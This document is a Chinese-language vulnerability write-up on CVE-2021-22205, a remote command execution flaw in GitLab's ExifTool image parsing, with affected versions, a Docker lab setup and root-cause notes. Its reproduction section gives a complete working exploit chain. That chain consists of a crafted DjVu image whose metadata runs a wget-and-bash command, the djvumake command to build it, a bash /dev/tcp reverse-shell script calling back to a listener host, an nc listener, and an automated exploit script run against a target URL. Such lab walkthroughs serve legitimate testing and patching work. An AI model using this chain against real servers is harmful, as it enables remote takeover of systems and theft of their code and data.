0x01 漏洞背景
GitLab是一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,可通过Web界面访问公开或私人项目。
近日,GitLab发布安全更新公告,修复了GitLab社区版(CE)和企业版(EE)存在一个远程命令执行漏洞,漏洞CVE编号:CVE-2021-22205。攻击者可利用该漏洞在目标服务器上执行任意命令。建议受影响用户将GitLab升级至最新版本进行防护,做好资产自查以及预防工作,以免遭受黑客攻击。
0x02 漏洞描述
该漏洞影响从11.9开始的所有版本,由于Gitlab未正确验证传递到文件解析器的图像文件从而导致命令执行。攻击者可构造恶意请求利用该漏洞在目标系统执行任意指令,最终导致Gitlab服务器被控制。
0x03 影响版本
11.9 <= Gitlab CE/EE <= 13.8.7
13.9 <= Gitlab CE/EE <= 13.9.5
13.10 <= Gitlab CE/EE <= 13.10.2
0x04 漏洞环境搭建
docker搭建(需要8G内存,不然访问返回502)
docker run -itd \
-p 9980:80 \
-p 9922:22 \
-v /usr/local/gitlab-test/etc:/etc/gitlab \
-v /usr/local/gitlab-test/log:/var/log/gitlab \
-v /usr/local/gitlab-test/opt:/var/opt/gitlab \
--restart always \
--privileged=true \
--name gitlab-test \
gitlab/gitlab-ce:13.10.2-ce.0
安装好之后,首次访问http://ip:9980
提示设置管理员密码,由于默认情况下注册用户需要管理员审批,为了方便测试
设置新用户注册之后不需要审批
http://IP:9980/admin/application_settings/general#js-signup-settings
0x05 漏洞分析
- 当上传图片文件时,
Gitlab Workhorse
将扩展名为jpg|jpeg|tiff
的文件通过ExifTool
删除任何非白名单标记。 - 其中一个支持的格式是
DjVu
。当解析DjVu
注释时,标记被赋值为convert C escape sequences
。 - 作者的文章:
https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html
(详情请看此处)
#convert C escape sequences 出现以下代码
$tok = eval qq{"$tok"};
0x06 漏洞复现
v11版本需要授权登陆或者注册新用户进入后台,新建项目进行上传
v12版本存在未授权,管理员登陆或者注册新用户进入后台,新建项目进行上传
v13版本存在未授权,管理员登陆,默认情况允许注册新用户,但还需要管理员审核后才能进入后台
1.账号注册
首先需要一个Gitlab
平台的一个账户及密码(有些公司的Gitlab平台是允许注册的)
2.上传图片
登录后到个人主页,找到Snippets
在Description字段中,点击"Attach a file",上传已经写好命令的图片
3.制作DjVu的exp
此处需要上传DjVu
格式图片(即Exp)
apt安装DjVuapt-get install djvulibre-bin -y
DjVu
格式图片制作方式如下,准备好将要压缩图片的文本
(metadata
(Copyright "\
" . qx{wget http://192.168.3.248/1.sh && bash 1.sh}. \
" b ") )
djvumake rce.djvu INFO=0,0 BGjp=/dev/null ANTa=rce.txt && mv rce.djvu rce.jpg
3.python开启http服务
python3 -m http.server 80
4.新建反弹shell脚本
在桌面上新建1.sh
bash -i >& /dev/tcp/192.168.3.248/9999 0>&1
5.nc监听
nc -lvvp 9999
6.上传exp
7.执行命令
脚本自动化
https://github.com/r0eXpeR/CVE-2021-22205
1.使用nc监听
nc -lvvp 9999
2.运行脚本
python3 CVE-2021-22205.py http://10.108.3.177:9980/ "wget http://192.168.3.248/1.sh && bash 1.sh"
3.成功反弹shell
0x07 参考地址
https://www.cnblogs.com/ybit/p/14918949.html
http://blog.seals6.top/index.php/archives/14/